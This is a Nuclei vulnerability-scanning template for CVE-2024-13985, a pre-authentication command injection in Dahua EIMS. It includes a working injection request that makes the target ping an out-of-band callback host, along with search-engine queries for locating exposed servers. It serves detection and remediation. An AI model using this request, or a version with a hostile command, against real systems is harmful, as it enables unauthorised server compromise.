Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle

id: CVE-2024-13985

info:
  name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
  author: DhiyaneshDk
  severity: critical
  description: |
    A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
  impact: |
    Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
  remediation: |
    Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
  reference:
    - https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/dahua/dahua-eims-capture-handle-rce.yaml
    - https://cn-sec.com/archives/2554372.html
    - https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8EEIMS-capture_handle%E6%8E%A5%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  classification:
    cve-id: CVE-2024-13985
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 2
    shodan-query: '"Dahua EIMS"'
    zoomeye-query: 'app="大华 EIMS"'
  tags: cve,cve2024,dahua,eims,rce,oast,pre-auth,kev,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: regex
        regex:
          - "^success$"
# digest: 4a0a00473045022100e4fc4085177f95810ed502b32afd35cc1a50b5fb72595adcb1276419f149df5a02201eb6d737a8cf5571e49beb8db2dcbd52f5206b4c9fc87fd699cfa3cbe656d66d:922c64590222798bb761d5b6d8e72950